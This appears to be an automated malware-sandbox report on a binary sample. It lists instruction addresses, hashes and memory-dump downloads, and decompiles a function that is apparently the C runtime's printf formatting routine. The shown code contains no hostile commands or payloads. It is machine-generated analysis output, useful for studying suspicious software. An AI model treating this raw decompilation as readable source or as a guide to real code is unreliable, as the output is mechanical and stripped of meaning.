0x00434aaa
0x00434aad
0x00434ab0
0x00434ab3
0x00000000
0x00000000
0x00434ab5
0x00434ab5
0x00434ab8
0x00434abb
0x00434abe
0x00434ac2
0x00000000
0x00434ac2
0x00000000
0x00434abe
0x00434a5b
0x00434a5b
0x00434a5e
0x00434a62
0x00434a65
0x00000000
0x00434a67
0x00434a6a
0x00434a6d
0x00434a70
0x00434a73
0x00434a79
0x00000000
0x00434a79
0x00434a65
0x00434a2a
0x00434a2a
0x00434a2d
0x00434a31
0x00434a34
0x00000000
0x00434a36
0x00434a39
0x00434a3c
0x00434a3f
0x00434a42
0x00434a48
0x00000000
0x00434a48
0x00000000
0x00434ad3
0x00434ad6
0x00434ad9
0x00000000
0x00000000
0x004349f0
0x004349f0
0x004349f3
0x004349f6
0x004349f9
0x00434a11
0x00434a14
0x00434a14
0x00434a17
0x004349fb
0x004349fe
0x00434a01
0x00434a07
0x00434a0c
0x00434a0c
0x00000000
0x00000000
0x00434ade
0x00434ade
0x00434ae1
0x00434ae1
0x00434ae6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00434aee
0x00434aee
0x00434af5
0x00434b01
0x00434b04
0x00434b0a
0x00434b11
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00435332
0x00434b17
0x00434b1d
0x00434b1d
0x00434b24
0x00000000
0x00434e7e
0x00434e7e
0x00434e85
0x00434e8c
0x00434e8c
0x00434e8f
0x00000000
0x00000000
0x00434b2b
0x00434b2e
0x00434b2e
0x00434b34
0x00434b36
0x00434b39
0x00434b39
0x00434b3e
0x00434b3e
0x00000000
0x00000000
0x00434c6b
0x00434c6e
0x00434c6e
0x00434c73
0x00434c75
0x00434c78
0x00434c78
0x00434c7e
0x00434c7e
0x00000000
0x00000000
0x0043504b
0x0043504b
0x00435061
0x00435061
0x0043506b
0x0043506b
0x00435071
0x00435073
0x0043507d
0x0043507d
0x00435080
0x00435083
0x00435083
0x00000000
0x00000000
0x00434bd5
0x00434bd5
0x00434be1
0x00434be7
0x00434bee
0x00434bfc
0x00434bfc
0x00434c02
0x00434c05
0x00434c11
0x00434c66
0x00000000
0x00434c66
0x00434bf0
0x00434bf0
0x00434bf6
0x00434bfa
0x00434c16
0x00434c19
0x00434c19
0x00434c1f
0x00434c47
0x00434c4e
0x00434c54
0x00434c57
0x00434c5a
0x00434c60
0x00434c63
0x00434c21
0x00434c21
0x00434c27
0x00434c2a
0x00434c2d
0x00434c33
0x00434c36
0x00434c39
0x00434c3b
0x00434c3e
0x00434c3e
0x00000000
0x00434c1f
0x00000000
0x00000000
0x00434e95
0x00434e98
0x00434e9b
0x00434e9e
0x00434ea4
0x00434ea7
0x00434eae
0x00434eb2
0x00434ebd
0x00434ebd
0x00434ec1
0x00434ed8
0x00434ed8
0x00434edf
0x00434ee1
0x00434ee1
0x00434ee8
0x00434ee8
0x00434eef
0x00434f00
0x00434f0f
0x00434f12
0x00434f16
0x00434f2c
0x00434f18
0x00434f18
0x00434f1b
0x00434f21
0x00434f27
0x00434f27
0x00434f16
0x00434f36
0x00434f39
0x00434f3c
0x00434f3f
0x00434f42
0x00434f45
0x00434f4b
0x00434f51
0x00434f59
0x00434f5a
0x00434f5d
0x00434f5e
0x00434f61
0x00434f62
0x00434f69
0x00434f6a
0x00434f6d
0x00434f6e
0x00434f71
0x00434f72
0x00434f78
0x00434f79
0x00434f87
0x00434f89
0x00434f8f
0x00434f8f
0x00434f95
0x00434f97
0x00434f9b
0x00434f9d
0x00434fa5
0x00434fa6
0x00434fa9
0x00434faa
0x00434fb8
0x00434fba
0x00434fba
0x00434f9b
0x00434fbd
0x00434fc4
0x00434fc7
0x00434fcc
0x00434fcc
0x00434fd2
0x00434fd4
0x00434fdc
0x00434fdd
0x00434fe0
0x00434fe1
0x00434ff0
0x00434ff2
0x00434ff2
0x00434fd2
0x00434ff5
0x00434ff8
0x00434ffb
0x00434ffe
0x00435003
0x00435009
0x0043500c
0x0043500f
0x0043500f
0x00435012
0x00435012
0x00435015
0x00435021
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00000000
0x00435332
0x00434ec3
0x00434ec3
0x00434eca
0x00434ecd
0x00000000
0x00000000
0x00434ecf
0x00434ecf
0x00000000
0x00434ecf
0x00434eb4
0x00434eb4
0x00000000
0x00000000
0x00434b41
0x00434b44
0x00434b44
0x00434b4a
0x00434ba5
0x00434bad
0x00434bb4
0x00434bba
0x00434bc0
0x00434b4c
0x00434b4c
0x00434b56
0x00434b5a
0x00434b62
0x00434b69
0x00434b76
0x00434b7d
0x00434b89
0x00434b8f
0x00434b96
0x00434b98
0x00434b98
0x00434b9f
0x00434bc7
0x00434bcd
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00000000
0x00435029
0x0043502c
0x0043502f
0x00435032
0x004350aa
0x004350ad
0x004350ad
0x004350b2
0x004350d4
0x004350d4
0x004350da
0x004350fc
0x004350fc
0x004350ff
0x00435146
0x00435146
0x00435149
0x00435166
0x0043516a
0x00435172
0x00435172
0x00435174
0x0043517a
0x0043514b
0x0043514b
0x0043514f
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435104
0x00435107
0x00435125
0x00435131
0x00435134
0x00435135
0x0043513b
0x00435109
0x00435109
0x0043510d
0x00435115
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350dc
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b4
0x004350c0
0x004350c6
0x004350c6
0x00435183
0x00435183
0x00435186
0x00000000
0x00000000
0x00000000
0x00434d87
0x00434d87
0x00434d93
0x00434d99
0x00434d9e
0x00434da0
0x00434e4a
0x00434e4d
0x00434e4d
0x00434e50
0x00434e64
0x00434e6a
0x00434e70
0x00434e52
0x00434e52
0x00434e5f
0x00434e5f
0x00434e72
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00435332
0x00434da6
0x00434da6
0x00434da6
0x00434da8
0x00434db6
0x00434daa
0x00434daa
0x00434daa
0x00434dc0
0x00434dc6
0x00434dcc
0x00434dd3
0x00434dd5
0x00434dda
0x00434ddc
0x00434de1
0x00434de6
0x00434de8
0x00434ded
0x00434df0
0x00434df3
0x00434df5
0x00434df5
0x00434df3
0x00434df6
0x00434dfd
0x00434e45
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00434dff
0x00434dff
0x00434e04
0x00434e20
0x00434e28
0x00434e32
0x00434e35
0x00434e3a
0x00000000
0x00434e3a
0x00000000
0x0043508c
0x0043508c
0x00435096
0x00435096
0x0043509c
0x0043509e
0x004350a1
0x004350a1
0x004350a7
0x004350a7
0x004350aa
0x004350aa
0x004350ad
0x004350ad
0x004350b2
0x004350d4
0x004350d4
0x004350da
0x004350fc
0x004350fc
0x004350ff
0x00435146
0x00435146
0x00435149
0x00435166
0x0043516a
0x00435172
0x00435172
0x00435174
0x0043517a
0x0043514b
0x0043514b
0x0043514f
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435104
0x00435107
0x00435125
0x00435131
0x00435134
0x00435135
0x0043513b
0x00435109
0x00435109
0x0043510d
0x00435115
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350dc
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b4
0x004350c0
0x004350c6
0x004350c6
0x00435183
0x00435183
0x00435186
0x00000000
0x00000000
0x00000000
0x00435186
0x00000000
0x00435044
0x00435044
0x00000000
0x00000000
0x00434c81
0x00434c81
0x00434c85
0x00434c93
0x00434c96
0x00434c87
0x00434c87
0x00434c87
0x00434c9c
0x00434ca2
0x00434ca8
0x00434cb4
0x00434cba
0x00434cba
0x00434cc0
0x00434d27
0x00434d27
0x00434d2b
0x00434d2d
0x00434d33
0x00434d33
0x00434d36
0x00434d39
0x00434d3f
0x00434d3f
0x00434d3f
0x00434d4b
0x00434d4e
0x00434d54
0x00434d56
0x00000000
0x00000000
0x00434d58
0x00434d58
0x00434d5e
0x00434d61
0x00434d63
0x00000000
0x00000000
0x00434d65
0x00434d6b
0x00434d6e
0x00434d6e
0x00434d76
0x00434d76
0x00434d7c
0x00434d7c
0x00434d7f
0x00000000
0x00434cc2
0x00434cc2
0x00434cc2
0x00434cc6
0x00434cc8
0x00434ccd
0x00434ccd
0x00434cd0
0x00434cd7
0x00434cda
0x00434ce0
0x00434ce0
0x00434ce0
0x00434cec
0x00434cef
0x00434cf5
0x00434cf7
0x00000000
0x00000000
0x00434cf9
0x00434cf9
0x00434cff
0x00434d02
0x00434d04
0x00000000
0x00000000
0x00434d06
0x00434d0c
0x00434d0f
0x00434d0f
0x00434d17
0x00434d1d
0x00434d20
0x00434d22
0x00434d82
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00435332
0x00000000
0x0043503b
0x0043503b
0x004350aa
0x004350aa
0x004350ad
0x004350ad
0x004350b2
0x004350d4
0x004350d4
0x004350da
0x004350fc
0x004350fc
0x004350ff
0x00435146
0x00435146
0x00435149
0x00435166
0x0043516a
0x00435172
0x00435172
0x00435174
0x0043517a
0x0043514b
0x0043514b
0x0043514f
0x00435157
0x00435158
0x0043515e
0x0043515e
0x00435101
0x00435104
0x00435104
0x00435107
0x00435125
0x00435131
0x00435134
0x00435135
0x0043513b
0x00435109
0x00435109
0x0043510d
0x00435115
0x00435116
0x00435117
0x0043511d
0x0043511d
0x00435141
0x004350dc
0x004350dc
0x004350e8
0x004350ee
0x004350ee
0x004350b4
0x004350b4
0x004350c0
0x004350c6
0x004350c6
0x00435183
0x00435183
0x00435186
0x00000000
0x00000000
0x00000000
0x00435186
0x00000000
0x00000000
0x00000000
0x00435332
0x00435332
0x00435332
0x00435336
0x00000000
0x00000000
0x00000000
0x00435336
0x00000000
0x00000000
0x004348f1
0x004348f4
0x004348f7
0x00000000
0x00000000
0x004348fc
0x004348ff
0x00434904
0x00000000
0x00000000
0x004348e6
0x004348e6
0x004348e9
0x004348ec
0x00000000
0x00000000
0x004348db
0x004348de
0x004348e1
0x00000000
0x00000000
0x00434909
0x00434909
0x0043490c
0x0043490c
0x0043490f
0x00000000
0x00000000
0x00434912
0x00000000
0x00000000
0x004346ae
0x004346b0
0x004346be
0x004346b2
0x004346b2
0x004346b2
0x004346c8
0x004346ce
0x004346db
0x004346dd
0x004346e2
0x004346e4
0x004346e9
0x004346ee
0x004346f0
0x004346f5
0x004346fb
0x004346fd
0x004346fd
0x004346fb
0x004346fe
0x00434705
0x00000000
0x00434707
0x0043470c
0x00434728
0x00434730
0x0043473d
0x00434742
0x00435601
0x0043560e
0x0043560e
0x00434705
0x004346a8
0x0043553d
0x0043553d
0x00435544
0x0043555b
0x0043555b
0x00435565
0x00435565
0x0043556b
0x00435571
0x00435578
0x0043557a
0x0043557f
0x00435581
0x00435586
0x0043558b
0x0043558d
0x00435592
0x00435595
0x00435598
0x0043559a
0x0043559a
0x00435598
0x0043559b
0x004355a2
0x004355ed
0x004355f6
0x004355fb
0x004355a4
0x004355a9
0x004355c5
0x004355cd
0x004355da
0x004355df
0x004355df
0x00000000
0x004355a2
0x00435546
0x00435546
0x0043554d
0x00000000
0x00000000
0x0043554f
0x0043554f
0x00000000
0x0043554f
0x00435332
0x00435309
0x00435309
0x0043530d
0x0043531a
0x0043531d
0x00435320
0x00435323
0x00435326
0x00435329
0x0043532c
0x0043532c
0x0043532f
0x00000000
0x0043532f
0x0043530f
0x0043530f
0x00435312
0x00435315
0x00435318
0x00000000
0x00000000
0x00000000
0x00435318
0x00435271
0x00435271
0x00435274
0x00435277
0x0043527e
0x00435285
0x0043528d
0x00435293
0x00435296
0x00435299
0x004352a0
0x004352ac
0x004352b2
0x004352b8
0x004352bf
0x004352c1
0x004352c7
0x004352c7
0x004352cd
0x004352cd
0x004352d3
0x004352d6
0x004352dc
0x004352e1
0x004352e4
0x00435253
0x00435253
0x00435259
0x0043525c
0x0043525f
0x00435261
0x00000000
0x00000000
0x00000000
0x00435261
0x00435253
0x00435193
0x00435193
0x0043519a
0x00000000
0x00000000
0x00000000
0x004351c8
0x004351c8
0x004351ce
0x004351d4
0x004351da
0x00000000
0x004351da
0x004350aa
0x00435061

APIs

_get_int64_arg.LIBCMTD ref: 004350B8
__aullrem.LIBCMT ref: 00435285
__aulldiv.LIBCMT ref: 004352A7

Strings

0, xrefs: 00435073
9, xrefs: 004352B8
', xrefs: 00435057

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction ID: cccb5c908becf37a593cf0114d12198e1c298bbc532d54bae0f63c8c70ab0db8
Opcode Fuzzy Hash: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction Fuzzy Hash: C741F471D15A29DFDF24CF88C899BAEB7B5BB48304F2091DAD408A7240C7389E81CF85

Uniqueness

Uniqueness Score: -1.00%

Function 00427DE8, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427DE8() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t524 - 0x260)) = 0x27;
					while(1) {
						L139:
						 *(__ebp - 8) = 0x10;
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
						__eflags =  *(__ebp - 0x10) & 0x00000080;
						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							 *(__ebp - 0x14) = 0x30;
							 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
							__eflags =  *(__ebp - 0x260) + 0x51;
							 *((char*)(__ebp - 0x13)) = __al;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L144:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E00428400(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428400(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
											 *(__ebp - 0x2ac) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E00428400(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x2b0) = __eax;
											 *(__ebp - 0x2ac) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x2b0) = E00428420(__ebp + 0x14);
								 *(__ebp - 0x2ac) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L161;
							}
							L157:
							__eflags =  *(__ebp - 0x2ac);
							if(__eflags > 0) {
								goto L161;
							}
							L158:
							if(__eflags < 0) {
								L160:
								 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
								__edx =  *(__ebp - 0x2ac);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
								 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L162:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x2b8);
										__eax =  *(__ebp - 0x2b4);
										__eax =  *(__ebp - 0x2b4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x2b4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
								if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x49;
								 *(__ebp - 4) = __ebp - 0x49;
								while(1) {
									L172:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L174;
									}
									L173:
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										L177:
										__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L181:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L207;
												}
												L182:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																 *(__ebp - 0x14) = 0x20;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2b;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														 *(__ebp - 0x14) = 0x2d;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x2bc);
													__eax = E004357C0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
												}
												__edx = __ebp - 0x24c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E00435800( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E004357C0(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) == 0) {
													L203:
													__ecx = __ebp - 0x24c;
													__edx =  *(__ebp + 8);
													__eax =  *(__ebp - 0x24);
													__ecx =  *(__ebp - 4);
													__eax = E00435800(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
													goto L204;
												} else {
													L195:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L203;
													}
													L196:
													 *(__ebp - 0x2d4) = 0;
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x2c0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x2c4) =  *(__ebp - 0x24);
													while(1) {
														L197:
														__ecx =  *(__ebp - 0x2c4);
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														 *(__ebp - 0x2c4) =  *(__ebp - 0x2c4) - 1;
														__eflags = __ecx;
														if(__ecx == 0) {
															break;
														}
														L198:
														__eax =  *(__ebp - 0x2c0);
														 *(__ebp - 0x316) =  *( *(__ebp - 0x2c0));
														__edx =  *(__ebp - 0x316) & 0x0000ffff;
														__eax = __ebp - 0x2d0;
														__ecx = __ebp - 0x2c8;
														 *(__ebp - 0x2d4) = E004342D0(__ebp - 0x2c8, __ebp - 0x2d0, 6,  *(__ebp - 0x316) & 0x0000ffff);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) + 2;
														__eflags =  *(__ebp - 0x2d4);
														if( *(__ebp - 0x2d4) != 0) {
															L200:
															 *(__ebp - 0x24c) = 0xffffffff;
															break;
														}
														L199:
														__eflags =  *(__ebp - 0x2c8);
														if( *(__ebp - 0x2c8) != 0) {
															L201:
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2c8);
															__ebp - 0x2d0 = E00435800( *(__ebp + 8), __ebp - 0x2d0,  *(__ebp - 0x2c8),  *(__ebp + 8), __ebp - 0x24c);
															continue;
														}
														goto L200;
													}
													L202:
													L204:
													__eflags =  *(__ebp - 0x24c);
													if( *(__ebp - 0x24c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__eax = __ebp - 0x24c;
															__ecx =  *(__ebp + 8);
															__edx =  *(__ebp - 0x2bc);
															__eax = E004357C0(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
												}
												L207:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													 *(__ebp - 0x20) = L0041C5E0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L209:
													 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
													 *((intOrPtr*)(_t524 + 0xc)) =  *((intOrPtr*)(_t524 + 0xc)) + 1;
													if( *(_t524 - 0x251) == 0 ||  *(_t524 - 0x24c) < 0) {
														break;
													} else {
														if( *(_t524 - 0x251) < 0x20 ||  *(_t524 - 0x251) > 0x78) {
															 *(_t524 - 0x2fc) = 0;
														} else {
															 *(_t524 - 0x2fc) =  *( *(_t524 - 0x251) + 0x404460) & 0x0000000f;
														}
													}
													L7:
													 *(_t524 - 0x250) =  *(_t524 - 0x2fc);
													_t19 =  *(_t524 - 0x250) * 8; // 0x6000006
													 *(_t524 - 0x25c) =  *( *(_t524 - 0x25c) + _t19 + 0x404480) >> 4;
													 *(_t524 - 0x300) =  *(_t524 - 0x25c);
													if( *(_t524 - 0x300) > 7) {
														continue;
													}
													L8:
													switch( *((intOrPtr*)( *(_t524 - 0x300) * 4 +  &M004282F8))) {
														case 0:
															L9:
															 *(_t524 - 0xc) = 0;
															_t483 = E004312C0( *(_t524 - 0x251) & 0x000000ff, E0041AEF0(_t524 - 0x40));
															_t528 = _t526 + 8;
															if(_t483 == 0) {
																L15:
																E00435720( *(_t524 - 0x251) & 0x000000ff,  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t526 = _t528 + 0xc;
																goto L209;
															} else {
																E00435720( *((intOrPtr*)(_t524 + 8)),  *(_t524 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t524 + 8)), _t524 - 0x24c);
																_t528 = _t528 + 0xc;
																_t509 =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																 *(_t524 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t524 + 0xc))));
																_t513 =  *((intOrPtr*)(_t524 + 0xc)) + 1;
																 *((intOrPtr*)(_t524 + 0xc)) = _t513;
																asm("sbb eax, eax");
																 *(_t524 - 0x278) =  ~( ~( *(_t524 - 0x251)));
																if(_t513 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t495 = L0041E420();
																	_t528 = _t528 + 0x14;
																	if(_t495 == 1) {
																		asm("int3");
																	}
																}
																L13:
																if( *(_t524 - 0x278) != 0) {
																	goto L15;
																} else {
																	 *((intOrPtr*)(L00422F10(_t509))) = 0x16;
																	E00422CA0(_t497, _t509, _t522, _t523, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t524 - 0x2e4) = 0xffffffff;
																	E0041AEC0(_t524 - 0x40);
																	_t478 =  *(_t524 - 0x2e4);
																	goto L211;
																}
															}
														case 1:
															L16:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L209;
														case 2:
															L17:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
															__eflags =  *(__ebp - 0x304) - 0x10;
															if( *(__ebp - 0x304) > 0x10) {
																goto L24;
															}
															L18:
															__ecx =  *(__ebp - 0x304);
															_t63 = __ecx + 0x428330; // 0x498d04
															__edx =  *_t63 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428318))) {
																case 0:
																	goto L21;
																case 1:
																	goto L22;
																case 2:
																	goto L20;
																case 3:
																	goto L19;
																case 4:
																	goto L23;
																case 5:
																	goto L24;
